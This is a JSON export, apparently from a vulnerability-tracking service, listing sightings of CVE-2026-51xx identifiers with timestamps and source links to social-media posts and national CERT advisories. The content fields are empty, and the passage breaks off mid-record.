{"vulnerability": "2026-51", "sightings": [{"uuid": "ed048b18-d1c3-4563-9cb2-42a8b518a02e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5154", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micwuxxml72q", "content": "", "creation_timestamp": "2026-03-31T00:40:14.365260Z"}, {"uuid": "ef8ec242-f0c1-43a2-9eaf-c5f329c28040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5126", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miciww6xch22", "content": "", "creation_timestamp": "2026-03-30T20:30:47.366268Z"}, {"uuid": "5e577964-0b72-46b0-902c-7ae63c48c5d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5155", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micx5wfpvq23", "content": "", "creation_timestamp": "2026-03-31T00:45:15.054573Z"}, {"uuid": "8200819a-151a-4808-9772-ea77c0cd3227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5121", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mibmfwrwoo22", "content": "", "creation_timestamp": "2026-03-30T12:00:13.239684Z"}, {"uuid": "544bd65b-10d8-426f-9750-d9aa3d1d25b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5102", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mial6nwij523", "content": "", "creation_timestamp": "2026-03-30T02:05:35.460808Z"}, {"uuid": "9ab22a81-0b4d-486b-83e4-10057aca3286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5101", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mialhme5fc2j", "content": "", "creation_timestamp": "2026-03-30T02:10:35.649615Z"}, {"uuid": "4a3bfed3-57ae-49d5-80f6-c828ae4f644f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5128", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mibpx3jusd27", "content": "", "creation_timestamp": "2026-03-30T13:03:30.635758Z"}, {"uuid": "76b05c8a-dc51-4452-b713-e19c3fc1e8e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5128", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mibqa42nzb2y", "content": "", "creation_timestamp": "2026-03-30T13:08:32.022486Z"}, {"uuid": "3ad685da-131f-4217-84f9-dcb76cb4a9d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5125", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micjqk2t642d", "content": "", "creation_timestamp": "2026-03-30T20:45:07.322352Z"}, {"uuid": "37001021-1835-46ec-979f-814533820e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5103", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miawel3osg2q", "content": "", "creation_timestamp": "2026-03-30T05:25:44.727078Z"}, {"uuid": "d029a987-e0fe-4b75-a8ae-9ffe559e241c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5105", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miawnjjasx2z", "content": "", "creation_timestamp": "2026-03-30T05:30:45.038314Z"}, {"uuid": "02b6bf89-f700-48dc-aa6b-4c1426e07218", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5176", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midcenwdhc2j", "content": "", "creation_timestamp": "2026-03-31T04:05:52.059519Z"}, {"uuid": "afe9171f-fa65-4e07-9e17-24e705fb692e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5104", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miawwhwma224", "content": "", "creation_timestamp": "2026-03-30T05:35:45.510238Z"}, {"uuid": "5e698c83-4197-414a-ba36-05ba43cab983", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5119", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miba5rua5c2s", "content": "", "creation_timestamp": "2026-03-30T08:20:54.290370Z"}, {"uuid": "102d6fff-71f9-4aaf-bb50-70865273953e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5106", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mibapop7tt2d", "content": "", "creation_timestamp": "2026-03-30T08:30:55.039885Z"}, {"uuid": "20cc7512-c1e0-4999-b5a1-6cbeb2d11a72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5107", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mibayn4pxf2i", "content": "", "creation_timestamp": "2026-03-30T08:35:55.227640Z"}, {"uuid": "b18320e1-670b-4413-90a5-6e4bac305846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5147", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micklfjq5o2i", "content": "", "creation_timestamp": "2026-03-30T21:00:08.267644Z"}, {"uuid": "5220c892-62a4-4ed8-a335-691e9d3b83d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5176", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3midfrdcw3m2e", "content": "", "creation_timestamp": "2026-03-31T05:06:38.614353Z"}, {"uuid": "3d1999f0-3e5a-4a84-ad32-756feeb3d088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5130", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micvuomo7x2t", "content": "", "creation_timestamp": "2026-03-31T00:22:10.971464Z"}, {"uuid": "4e80d433-de94-413e-986b-8fd363de7d82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5178", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midnaenxax27", "content": "", "creation_timestamp": "2026-03-31T07:20:19.193035Z"}, {"uuid": "af2fe610-113a-42f0-9e2d-f7002d593a83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5152", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micw3fjmhk2j", "content": "", "creation_timestamp": "2026-03-31T00:25:56.348636Z"}, {"uuid": "7cfad319-ce8f-4990-a21b-b195baa06e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5157", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micufbyyal2i", "content": "", "creation_timestamp": "2026-03-30T23:55:41.291573Z"}, {"uuid": "b55f2dd3-c573-42b7-bc5d-69f096bee2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5119", "type": "seen", "source": "https://bsky.app/profile/kona.meow.social.ap.brid.gy/post/3micdspwo23u2", "content": "", "creation_timestamp": "2026-03-30T18:58:59.776953Z"}, {"uuid": "911358c0-9e1b-47f6-9a0f-3d7891672607", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5164", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mic4a66czk2j", "content": "", "creation_timestamp": "2026-03-30T16:43:19.044008Z"}, {"uuid": "2f324be0-4516-4680-915a-47493ca1097f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5165", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mic4j4neq42j", "content": "", "creation_timestamp": "2026-03-30T16:48:19.496330Z"}, {"uuid": "5a713d37-9272-40c6-a237-95468648ce6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5156", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3micuhy5sym2i", "content": "", "creation_timestamp": "2026-03-30T23:57:11.081716Z"}, {"uuid": "89d68652-7f2a-4dc5-8ef6-3fe890188b03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5152", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116318430443350067", "content": "", "creation_timestamp": "2026-03-30T13:46:34.619842Z"}, {"uuid": "9b738414-bbc7-4f1f-ba94-c1a05c14e363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5154", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116318483680166062", "content": "", "creation_timestamp": "2026-03-30T14:00:11.672180Z"}, {"uuid": "b3e5d9db-7449-46df-afd5-17e674e753ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5122", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mic3x7pg6523", "content": "", "creation_timestamp": "2026-03-30T16:38:18.612073Z"}, {"uuid": "8e1d6f88-627b-4cf0-a2c4-ecc2337ef084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5128", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mibidoz2zk2d", "content": "", "creation_timestamp": "2026-03-30T10:47:23.576422Z"}, {"uuid": "a52808cc-a711-4c02-9eff-c67e43a15a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5156", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116318539050863116", "content": "", "creation_timestamp": "2026-03-30T14:14:11.862293Z"}, {"uuid": "f74ce2e6-5970-4bcc-9385-d1d325bc5c06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5130", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3micshxsmld2x", "content": "", "creation_timestamp": "2026-03-30T23:21:24.207454Z"}, {"uuid": "74b23214-569b-4f9e-9791-f715c642c19b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5115", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-5115", "content": "", "creation_timestamp": "2026-03-30T23:16:36.000000Z"}, {"uuid": "2d380e5b-70e4-4897-8c5b-9bbc4586bf91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5179", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midnsbjtwx2q", "content": "", "creation_timestamp": "2026-03-31T07:30:20.142803Z"}, {"uuid": "7878197b-850d-488f-9c99-35d7c3c7d6ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5181", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mido3abj7a25", "content": "", "creation_timestamp": "2026-03-31T07:35:20.683035Z"}, {"uuid": "79abd9c7-13fa-4ba8-8280-9f30bce2593b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5180", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midoe6pofu2o", "content": "", "creation_timestamp": "2026-03-31T07:40:21.070551Z"}, {"uuid": "dc77435f-ddf0-4227-b04d-04ea5575c072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5185", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midx5i7aqd2d", "content": "", "creation_timestamp": "2026-03-31T10:17:39.623247Z"}, {"uuid": "901fb798-67f0-4fd9-8ba7-52bf163a63c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5186", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midxggnifh2n", "content": "", "creation_timestamp": "2026-03-31T10:22:40.158981Z"}, {"uuid": "2d1440c1-e8c0-41e5-85c9-52cc4882ba4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5182", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midxpf45p327", "content": "", "creation_timestamp": "2026-03-31T10:27:40.768122Z"}, {"uuid": "beb9f4c7-6c58-417f-b233-66f07e9947dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5195", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midxydl6yc2q", "content": "", "creation_timestamp": "2026-03-31T10:32:41.070641Z"}, {"uuid": "ad12ba7e-a9c0-4a00-b7fe-e54e64df42b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5183", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midybc2z3o2o", "content": "", "creation_timestamp": "2026-03-31T10:37:41.603058Z"}, {"uuid": "8ac4576e-8d80-4eb5-81f3-1ecab581a325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5184", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3midykaksrx2g", "content": "", "creation_timestamp": "2026-03-31T10:42:41.707608Z"}, {"uuid": "0a550680-6ec7-48b1-8ed8-88033471d3ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5115", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3miegept3tk2h", "content": "", "creation_timestamp": "2026-03-31T14:50:08.873993Z"}, {"uuid": "d211cc30-76c7-4568-8f2f-516abd186142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5121", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mienofpx762r", "content": "", "creation_timestamp": "2026-03-31T17:00:52.059648Z"}, {"uuid": "937593bd-f56c-4ff6-8ea2-2f8dfa5eb93a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5190", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3miespm46su2r", "content": "", "creation_timestamp": "2026-03-31T18:30:59.727535Z"}, {"uuid": "493c837c-971d-4395-a00a-38beb3f00211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5155", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mijejdpazu27", "content": "", "creation_timestamp": "2026-04-02T14:00:15.215944Z"}, {"uuid": "6b80a426-8340-4330-ad0a-32295fa68845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5190", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mijwtwaci42w", "content": "", "creation_timestamp": "2026-04-02T19:28:18.182842Z"}, {"uuid": "37146523-14dc-4411-b562-714f4567495b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5129", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3milu57parh2r", "content": "", "creation_timestamp": "2026-04-03T13:45:07.510712Z"}, {"uuid": "0af5fe9e-216f-4d80-a6f5-227c10ca7c9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5121", "type": "seen", "source": "https://bsky.app/profile/breachandbuild.bsky.social/post/3miqazxziee2x", "content": "", "creation_timestamp": "2026-04-05T07:46:36.709838Z"}, {"uuid": "19d3969e-545d-4f39-aa60-ffc732928149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5176", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mitsoaj2fa2a", "content": "", "creation_timestamp": "2026-04-06T17:40:09.268837Z"}, {"uuid": "8c9ca0c7-5b8b-4915-93ef-1e5c0f0ee724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5115", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0377/", "content": "", "creation_timestamp": "2026-03-30T17:00:00.000000Z"}, {"uuid": "daaeacb7-f38c-4f73-9b4d-7253dcbb8588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5107", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0389/", "content": "", "creation_timestamp": "2026-04-01T17:00:00.000000Z"}, {"uuid": "ba09ee59-2227-4249-903c-23a13e9ca115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5129", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0393/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "a25a4625-4df2-47d0-b510-cd8c29fc93b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mizja35rgk2t", "content": "", "creation_timestamp": "2026-04-09T00:07:08.494544Z"}, {"uuid": "fc747e0c-30cf-4c15-9b93-713b7d2b3300", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mizyav4lk62x", "content": "", "creation_timestamp": "2026-04-09T04:36:02.740438Z"}, {"uuid": "661d98dc-74bc-4c16-ad42-adb7b68b1f87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mj2tm4jzoj2z", "content": "", "creation_timestamp": "2026-04-09T12:45:30.781395Z"}, {"uuid": "845f4d06-c35a-48d9-8445-c5a1fdc7afe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3rusfxok24", "content": "", "creation_timestamp": "2026-04-09T21:47:13.708128Z"}, {"uuid": "b925b1eb-6834-4ec1-9d3b-e7b436602dba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/gitlab-multiple-vulnerabilities_20260410", "content": "", "creation_timestamp": "2026-04-09T20:00:00.000000Z"}, {"uuid": "7996d2db-f9d6-4044-927c-8e9092ff3dc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mj4vsszzxq26", "content": "", "creation_timestamp": "2026-04-10T08:30:22.059997Z"}, {"uuid": "df0d5639-c5fb-43f6-a1ef-5a1d08d8f741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mj55v2unwb2p", "content": "", "creation_timestamp": "2026-04-10T10:54:47.148848Z"}, {"uuid": "9ad90a76-24ec-463d-93ad-13a1088c1824", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/cyberwarriorsme.bsky.social/post/3mj6exuocvr22", "content": "", "creation_timestamp": "2026-04-10T22:34:17.559318Z"}, {"uuid": "b615e05e-9f05-4b9e-9f25-cbcd68db2635", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5144", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj6r6feokr2o", "content": "", "creation_timestamp": "2026-04-11T02:12:40.958271Z"}, {"uuid": "ec1e5804-2f60-450c-b836-b23ca9b1ed61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mj6ue2m2wa2a", "content": "", "creation_timestamp": "2026-04-11T03:09:32.006140Z"}, {"uuid": "c2c7388d-62ab-4416-85a7-b755c052156b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5144", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj72kzb3sv2u", "content": "", "creation_timestamp": "2026-04-11T05:00:48.447682Z"}, {"uuid": "0350f022-f8a8-4343-9683-4ecbc4820a98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5144", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjatjvkole2b", "content": "", "creation_timestamp": "2026-04-11T22:00:14.336424Z"}, {"uuid": "adb1b43c-c17c-40e0-992a-a8a42315af99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5144", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116388319170890103", "content": "", "creation_timestamp": "2026-04-11T22:00:17.258726Z"}, {"uuid": "faf437de-82f5-44c4-9065-95078d3291d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mjd2aeslffr2", "content": "", "creation_timestamp": "2026-04-12T19:05:34.974393Z"}, {"uuid": "a34eec6e-7bb0-4d23-b7df-093db3496163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjeatrii222v", "content": "", "creation_timestamp": "2026-04-13T06:36:24.856107Z"}, {"uuid": "6b26fad6-cfb3-4379-b102-a8975d1d7835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5173", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-su-gitlab-ce/ee-12", "content": "", "creation_timestamp": "2026-04-13T09:55:22.000000Z"}, {"uuid": "d5c3dafb-ca0b-4548-8dec-3104f1564bcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/wolfssl-security-advisory-av26-344", "content": "", "creation_timestamp": "2026-04-13T10:32:55.000000Z"}, {"uuid": "5723f57f-61e3-4fe4-9cb5-9569d9161e93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mjfui3eruj2w", "content": "", "creation_timestamp": "2026-04-13T22:00:25.465575Z"}, {"uuid": "8438cdb2-8ad4-4409-b204-780f7bc577fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/neroqc.bsky.social/post/3mjhgoa4l3k2r", "content": "", "creation_timestamp": "2026-04-14T12:58:40.542172Z"}, {"uuid": "52fa8ce1-267a-4345-9178-9162143530e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5194", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3mjhj42h2bv25", "content": "", "creation_timestamp": "2026-04-14T13:42:11.773204Z"}, {"uuid": "e13bc8dc-627f-449f-98b9-240fbca74b16", 